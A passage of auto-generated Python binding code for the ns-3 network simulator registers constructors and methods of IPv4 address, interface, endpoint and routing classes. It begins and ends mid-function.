cls.add_method('Init',
'void',
[param('ns3::Ipv4Address const', 'net'), param('ns3::Ipv4Mask const', 'mask'), param('ns3::Ipv4Address const', 'addr', default_value='"0.0.0.1"')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static void ns3::Ipv4AddressGenerator::InitAddress(ns3::Ipv4Address const addr, ns3::Ipv4Mask const mask) [member function]
cls.add_method('InitAddress',
'void',
[param('ns3::Ipv4Address const', 'addr'), param('ns3::Ipv4Mask const', 'mask')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static ns3::Ipv4Address ns3::Ipv4AddressGenerator::NextAddress(ns3::Ipv4Mask const mask) [member function]
cls.add_method('NextAddress',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const', 'mask')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static ns3::Ipv4Address ns3::Ipv4AddressGenerator::NextNetwork(ns3::Ipv4Mask const mask) [member function]
cls.add_method('NextNetwork',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const', 'mask')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static void ns3::Ipv4AddressGenerator::Reset() [member function]
cls.add_method('Reset',
'void',
[],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static void ns3::Ipv4AddressGenerator::TestMode() [member function]
cls.add_method('TestMode',
'void',
[],
is_static=True)
return
def register_Ns3Ipv4AddressHelper_methods(root_module, cls):
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4AddressHelper::Ipv4AddressHelper(ns3::Ipv4AddressHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressHelper const &', 'arg0')])
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4AddressHelper::Ipv4AddressHelper() [constructor]
cls.add_constructor([])
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4AddressHelper::Ipv4AddressHelper(ns3::Ipv4Address network, ns3::Ipv4Mask mask, ns3::Ipv4Address base="0.0.0.1") [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'mask'), param('ns3::Ipv4Address', 'base', default_value='"0.0.0.1"')])
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4InterfaceContainer ns3::Ipv4AddressHelper::Assign(ns3::NetDeviceContainer const & c) [member function]
cls.add_method('Assign',
'ns3::Ipv4InterfaceContainer',
[param('ns3::NetDeviceContainer const &', 'c')])
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4AddressHelper::NewAddress() [member function]
cls.add_method('NewAddress',
'ns3::Ipv4Address',
[])
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4AddressHelper::NewNetwork() [member function]
cls.add_method('NewNetwork',
'ns3::Ipv4Address',
[])
## ipv4-address-helper.h (module 'internet'): void ns3::Ipv4AddressHelper::SetBase(ns3::Ipv4Address network, ns3::Ipv4Mask mask, ns3::Ipv4Address base="0.0.0.1") [member function]
cls.add_method('SetBase',
'void',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'mask'), param('ns3::Ipv4Address', 'base', default_value='"0.0.0.1"')])
return
def register_Ns3Ipv4EndPoint_methods(root_module, cls):
## ipv4-end-point.h (module 'internet'): ns3::Ipv4EndPoint::Ipv4EndPoint(ns3::Ipv4EndPoint const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4EndPoint const &', 'arg0')])
## ipv4-end-point.h (module 'internet'): ns3::Ipv4EndPoint::Ipv4EndPoint(ns3::Ipv4Address address, uint16_t port) [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'address'), param('uint16_t', 'port')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::BindToNetDevice(ns3::Ptr<ns3::NetDevice> netdevice) [member function]
cls.add_method('BindToNetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'netdevice')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::ForwardIcmp(ns3::Ipv4Address icmpSource, uint8_t icmpTtl, uint8_t icmpType, uint8_t icmpCode, uint32_t icmpInfo) [member function]
cls.add_method('ForwardIcmp',
'void',
[param('ns3::Ipv4Address', 'icmpSource'), param('uint8_t', 'icmpTtl'), param('uint8_t', 'icmpType'), param('uint8_t', 'icmpCode'), param('uint32_t', 'icmpInfo')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::ForwardUp(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, uint16_t sport, ns3::Ptr<ns3::Ipv4Interface> incomingInterface) [member function]
cls.add_method('ForwardUp',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('uint16_t', 'sport'), param('ns3::Ptr< ns3::Ipv4Interface >', 'incomingInterface')])
## ipv4-end-point.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4EndPoint::GetBoundNetDevice() [member function]
cls.add_method('GetBoundNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[])
## ipv4-end-point.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4EndPoint::GetLocalAddress() [member function]
cls.add_method('GetLocalAddress',
'ns3::Ipv4Address',
[])
## ipv4-end-point.h (module 'internet'): uint16_t ns3::Ipv4EndPoint::GetLocalPort() [member function]
cls.add_method('GetLocalPort',
'uint16_t',
[])
## ipv4-end-point.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4EndPoint::GetPeerAddress() [member function]
cls.add_method('GetPeerAddress',
'ns3::Ipv4Address',
[])
## ipv4-end-point.h (module 'internet'): uint16_t ns3::Ipv4EndPoint::GetPeerPort() [member function]
cls.add_method('GetPeerPort',
'uint16_t',
[])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::SetDestroyCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('SetDestroyCallback',
'void',
[param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::SetIcmpCallback(ns3::Callback<void, ns3::Ipv4Address, unsigned char, unsigned char, unsigned char, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('SetIcmpCallback',
'void',
[param('ns3::Callback< void, ns3::Ipv4Address, unsigned char, unsigned char, unsigned char, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::SetLocalAddress(ns3::Ipv4Address address) [member function]
cls.add_method('SetLocalAddress',
'void',
[param('ns3::Ipv4Address', 'address')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::SetPeer(ns3::Ipv4Address address, uint16_t port) [member function]
cls.add_method('SetPeer',
'void',
[param('ns3::Ipv4Address', 'address'), param('uint16_t', 'port')])
## ipv4-end-point.h (module 'internet'): void ns3::Ipv4EndPoint::SetRxCallback(ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Header, unsigned short, ns3::Ptr<ns3::Ipv4Interface>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function]
cls.add_method('SetRxCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Header, unsigned short, ns3::Ptr< ns3::Ipv4Interface >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')])
return
def register_Ns3Ipv4InterfaceAddress_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress() [constructor]
cls.add_constructor([])
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress(ns3::Ipv4Address local, ns3::Ipv4Mask mask) [constructor]
cls.add_constructor([param('ns3::Ipv4Address', 'local'), param('ns3::Ipv4Mask', 'mask')])
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::Ipv4InterfaceAddress(ns3::Ipv4InterfaceAddress const & o) [copy constructor]
cls.add_constructor([param('ns3::Ipv4InterfaceAddress const &', 'o')])
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4InterfaceAddress::GetBroadcast() const [member function]
cls.add_method('GetBroadcast',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4InterfaceAddress::GetLocal() const [member function]
cls.add_method('GetLocal',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4Mask ns3::Ipv4InterfaceAddress::GetMask() const [member function]
cls.add_method('GetMask',
'ns3::Ipv4Mask',
[],
is_const=True)
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e ns3::Ipv4InterfaceAddress::GetScope() const [member function]
cls.add_method('GetScope',
'ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e',
[],
is_const=True)
## ipv4-interface-address.h (module 'internet'): bool ns3::Ipv4InterfaceAddress::IsSecondary() const [member function]
cls.add_method('IsSecondary',
'bool',
[],
is_const=True)
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetBroadcast(ns3::Ipv4Address broadcast) [member function]
cls.add_method('SetBroadcast',
'void',
[param('ns3::Ipv4Address', 'broadcast')])
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetLocal(ns3::Ipv4Address local) [member function]
cls.add_method('SetLocal',
'void',
[param('ns3::Ipv4Address', 'local')])
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetMask(ns3::Ipv4Mask mask) [member function]
cls.add_method('SetMask',
'void',
[param('ns3::Ipv4Mask', 'mask')])
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetPrimary() [member function]
cls.add_method('SetPrimary',
'void',
[])
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetScope(ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function]
cls.add_method('SetScope',
'void',
[param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')])
## ipv4-interface-address.h (module 'internet'): void ns3::Ipv4InterfaceAddress::SetSecondary() [member function]
cls.add_method('SetSecondary',
'void',
[])
return
def register_Ns3Ipv4InterfaceContainer_methods(root_module, cls):
## ipv4-interface-container.h (module 'internet'): ns3::Ipv4InterfaceContainer::Ipv4InterfaceContainer(ns3::Ipv4InterfaceContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4InterfaceContainer const &', 'arg0')])
## ipv4-interface-container.h (module 'internet'): ns3::Ipv4InterfaceContainer::Ipv4InterfaceContainer() [constructor]
cls.add_constructor([])
## ipv4-interface-container.h (module 'internet'): void ns3::Ipv4InterfaceContainer::Add(ns3::Ipv4InterfaceContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ipv4InterfaceContainer', 'other')])
## ipv4-interface-container.h (module 'internet'): void ns3::Ipv4InterfaceContainer::Add(ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface')])
## ipv4-interface-container.h (module 'internet'): void ns3::Ipv4InterfaceContainer::Add(std::pair<ns3::Ptr<ns3::Ipv4>,unsigned int> ipInterfacePair) [member function]
cls.add_method('Add',
'void',
[param('std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int >', 'ipInterfacePair')])
## ipv4-interface-container.h (module 'internet'): void ns3::Ipv4InterfaceContainer::Add(std::string ipv4Name, uint32_t interface) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'ipv4Name'), param('uint32_t', 'interface')])
## ipv4-interface-container.h (module 'internet'): __gnu_cxx::__normal_iterator<const std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int>*,std::vector<std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int>, std::allocator<std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int> > > > ns3::Ipv4InterfaceContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int > const, std::vector< std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int > > >',
[],
is_const=True)
## ipv4-interface-container.h (module 'internet'): __gnu_cxx::__normal_iterator<const std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int>*,std::vector<std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int>, std::allocator<std::pair<ns3::Ptr<ns3::Ipv4>, unsigned int> > > > ns3::Ipv4InterfaceContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int > const, std::vector< std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int > > >',
[],
is_const=True)
## ipv4-interface-container.h (module 'internet'): std::pair<ns3::Ptr<ns3::Ipv4>,unsigned int> ns3::Ipv4InterfaceContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'std::pair< ns3::Ptr< ns3::Ipv4 >, unsigned int >',
[param('uint32_t', 'i')],
is_const=True)
## ipv4-interface-container.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4InterfaceContainer::GetAddress(uint32_t i, uint32_t j=0) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv4Address',
[param('uint32_t', 'i'), param('uint32_t', 'j', default_value='0')],
is_const=True)
## ipv4-interface-container.h (module 'internet'): uint32_t ns3::Ipv4InterfaceContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
## ipv4-interface-container.h (module 'internet'): void ns3::Ipv4InterfaceContainer::SetMetric(uint32_t i, uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint32_t', 'i'), param('uint16_t', 'metric')])
return
def register_Ns3Ipv4Mask_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(ns3::Ipv4Mask const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Mask const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(uint32_t mask) [constructor]
cls.add_constructor([param('uint32_t', 'mask')])
## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(char const * mask) [constructor]
cls.add_constructor([param('char const *', 'mask')])
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::Get() const [member function]
cls.add_method('Get',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::GetInverse() const [member function]
cls.add_method('GetInverse',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): uint16_t ns3::Ipv4Mask::GetPrefixLength() const [member function]
cls.add_method('GetPrefixLength',
'uint16_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv4Mask',
[],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsEqual(ns3::Ipv4Mask other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv4Mask', 'other')],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsMatch(ns3::Ipv4Address a, ns3::Ipv4Address b) const [member function]
cls.add_method('IsMatch',
'bool',
[param('ns3::Ipv4Address', 'a'), param('ns3::Ipv4Address', 'b')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Set(uint32_t mask) [member function]
cls.add_method('Set',
'void',
[param('uint32_t', 'mask')])
return
def register_Ns3Ipv4MulticastRoutingTableEntry_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4MulticastRoutingTableEntry::Ipv4MulticastRoutingTableEntry() [constructor]
cls.add_constructor([])
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4MulticastRoutingTableEntry::Ipv4MulticastRoutingTableEntry(ns3::Ipv4MulticastRoutingTableEntry const & route) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MulticastRoutingTableEntry const &', 'route')])
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4MulticastRoutingTableEntry::Ipv4MulticastRoutingTableEntry(ns3::Ipv4MulticastRoutingTableEntry const * route) [constructor]
cls.add_constructor([param('ns3::Ipv4MulticastRoutingTableEntry const *', 'route')])
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4MulticastRoutingTableEntry ns3::Ipv4MulticastRoutingTableEntry::CreateMulticastRoute(ns3::Ipv4Address origin, ns3::Ipv4Address group, uint32_t inputInterface, std::vector<unsigned int, std::allocator<unsigned int> > outputInterfaces) [member function]
cls.add_method('CreateMulticastRoute',
'ns3::Ipv4MulticastRoutingTableEntry',
[param('ns3::Ipv4Address', 'origin'), param('ns3::Ipv4Address', 'group'), param('uint32_t', 'inputInterface'), param('std::vector< unsigned int >', 'outputInterfaces')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoutingTableEntry::GetGroup() const [member function]
cls.add_method('GetGroup',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoutingTableEntry::GetInputInterface() const [member function]
cls.add_method('GetInputInterface',
'uint32_t',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoutingTableEntry::GetNOutputInterfaces() const [member function]
cls.add_method('GetNOutputInterfaces',
'uint32_t',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoutingTableEntry::GetOrigin() const [member function]
cls.add_method('GetOrigin',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoutingTableEntry::GetOutputInterface(uint32_t n) const [member function]
cls.add_method('GetOutputInterface',
'uint32_t',
[param('uint32_t', 'n')],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): std::vector<unsigned int, std::allocator<unsigned int> > ns3::Ipv4MulticastRoutingTableEntry::GetOutputInterfaces() const [member function]
cls.add_method('GetOutputInterfaces',
'std::vector< unsigned int >',
[],
is_const=True)
return
def register_Ns3Ipv4RoutingHelper_methods(root_module, cls):
## ipv4-routing-helper.h (module 'internet'): ns3::Ipv4RoutingHelper::Ipv4RoutingHelper() [constructor]
cls.add_constructor([])
## ipv4-routing-helper.h (module 'internet'): ns3::Ipv4RoutingHelper::Ipv4RoutingHelper(ns3::Ipv4RoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4RoutingHelper const &', 'arg0')])
## ipv4-routing-helper.h (module 'internet'): ns3::Ipv4RoutingHelper * ns3::Ipv4RoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv4RoutingHelper *',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4RoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4-routing-helper.h (module 'internet'): void ns3::Ipv4RoutingHelper::PrintRoutingTableAllAt(ns3::Time printTime, ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTableAllAt',
'void',
[param('ns3::Time', 'printTime'), param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True)
## ipv4-routing-helper.h (module 'internet'): void ns3::Ipv4RoutingHelper::PrintRoutingTableAllEvery(ns3::Time printInterval, ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTableAllEvery',
'void',
[param('ns3::Time', 'printInterval'), param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True)
## ipv4-routing-helper.h (module 'internet'): void ns3::Ipv4RoutingHelper::PrintRoutingTableAt(ns3::Time printTime, ns3::Ptr<ns3::Node> node, ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTableAt',
'void',
[param('ns3::Time', 'printTime'), param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True)
## ipv4-routing-helper.h (module 'internet'): void ns3::Ipv4RoutingHelper::PrintRoutingTableEvery(ns3::Time printInterval, ns3::Ptr<ns3::Node> node, ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTableEvery',
'void',
[param('ns3::Time', 'printInterval'), param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_const=True)
return
def register_Ns3Ipv4RoutingTableEntry_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4RoutingTableEntry::Ipv4RoutingTableEntry() [constructor]
cls.add_constructor([])
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4RoutingTableEntry::Ipv4RoutingTableEntry(ns3::Ipv4RoutingTableEntry const & route) [copy constructor]
cls.add_constructor([param('ns3::Ipv4RoutingTableEntry const &', 'route')])
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4RoutingTableEntry::Ipv4RoutingTableEntry(ns3::Ipv4RoutingTableEntry const * route) [constructor]
cls.add_constructor([param('ns3::Ipv4RoutingTableEntry const *', 'route')])
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4RoutingTableEntry ns3::Ipv4RoutingTableEntry::CreateDefaultRoute(ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('CreateDefaultRoute',
'ns3::Ipv4RoutingTableEntry',
[param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4RoutingTableEntry ns3::Ipv4RoutingTableEntry::CreateHostRouteTo(ns3::Ipv4Address dest, ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('CreateHostRouteTo',
'ns3::Ipv4RoutingTableEntry',
[param('ns3::Ipv4Address', 'dest'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4RoutingTableEntry ns3::Ipv4RoutingTableEntry::CreateHostRouteTo(ns3::Ipv4Address dest, uint32_t interface) [member function]
cls.add_method('CreateHostRouteTo',
'ns3::Ipv4RoutingTableEntry',
[param('ns3::Ipv4Address', 'dest'), param('uint32_t', 'interface')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4RoutingTableEntry ns3::Ipv4RoutingTableEntry::CreateNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, ns3::Ipv4Address nextHop, uint32_t interface) [member function]
cls.add_method('CreateNetworkRouteTo',
'ns3::Ipv4RoutingTableEntry',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('ns3::Ipv4Address', 'nextHop'), param('uint32_t', 'interface')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): static ns3::Ipv4RoutingTableEntry ns3::Ipv4RoutingTableEntry::CreateNetworkRouteTo(ns3::Ipv4Address network, ns3::Ipv4Mask networkMask, uint32_t interface) [member function]
cls.add_method('CreateNetworkRouteTo',
'ns3::Ipv4RoutingTableEntry',
[param('ns3::Ipv4Address', 'network'), param('ns3::Ipv4Mask', 'networkMask'), param('uint32_t', 'interface')],
is_static=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4RoutingTableEntry::GetDest() const [member function]
cls.add_method('GetDest',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4RoutingTableEntry::GetDestNetwork() const [member function]
cls.add_method('GetDestNetwork',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Mask ns3::Ipv4RoutingTableEntry::GetDestNetworkMask() const [member function]
cls.add_method('GetDestNetworkMask',
'ns3::Ipv4Mask',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4RoutingTableEntry::GetGateway() const [member function]
cls.add_method('GetGateway',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv4RoutingTableEntry::GetInterface() const [member function]
cls.add_method('GetInterface',
'uint32_t',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): bool ns3::Ipv4RoutingTableEntry::IsDefault() const [member function]
cls.add_method('IsDefault',
'bool',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): bool ns3::Ipv4RoutingTableEntry::IsGateway() const [member function]
cls.add_method('IsGateway',
'bool',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): bool ns3::Ipv4RoutingTableEntry::IsHost() const [member function]
cls.add_method('IsHost',
'bool',
[],
is_const=True)
## ipv4-routing-table-entry.h (module 'internet'): bool ns3::Ipv4RoutingTableEntry::IsNetwork() const [member function]
cls.add_method('IsNetwork',
'bool',
[],
is_const=True)
return
def register_Ns3Ipv4StaticRoutingHelper_methods(root_module, cls):
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ipv4StaticRoutingHelper::Ipv4StaticRoutingHelper() [constructor]
cls.add_constructor([])
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ipv4StaticRoutingHelper::Ipv4StaticRoutingHelper(ns3::Ipv4StaticRoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4StaticRoutingHelper const &', 'arg0')])
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ipv4StaticRoutingHelper * ns3::Ipv4StaticRoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv4StaticRoutingHelper *',
[],
is_const=True, is_virtual=True)
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4StaticRoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True, is_virtual=True)
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv4StaticRouting> ns3::Ipv4StaticRoutingHelper::GetStaticRouting(ns3::Ptr<ns3::Ipv4> ipv4) const [member function]
cls.add_method('GetStaticRouting',
'ns3::Ptr< ns3::Ipv4StaticRouting >',
[param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')],
is_const=True)
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::AddMulticastRoute(ns3::Ptr<ns3::Node> n, ns3::Ipv4Address source, ns3::Ipv4Address group, ns3::Ptr<ns3::NetDevice> input, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('ns3::Ptr< ns3::Node >', 'n'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'group'), param('ns3::Ptr< ns3::NetDevice >', 'input'), param('ns3::NetDeviceContainer', 'output')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::AddMulticastRoute(std::string n, ns3::Ipv4Address source, ns3::Ipv4Address group, ns3::Ptr<ns3::NetDevice> input, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('std::string', 'n'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'group'), param('ns3::Ptr< ns3::NetDevice >', 'input'), param('ns3::NetDeviceContainer', 'output')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::AddMulticastRoute(ns3::Ptr<ns3::Node> n, ns3::Ipv4Address source, ns3::Ipv4Address group, std::string inputName, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
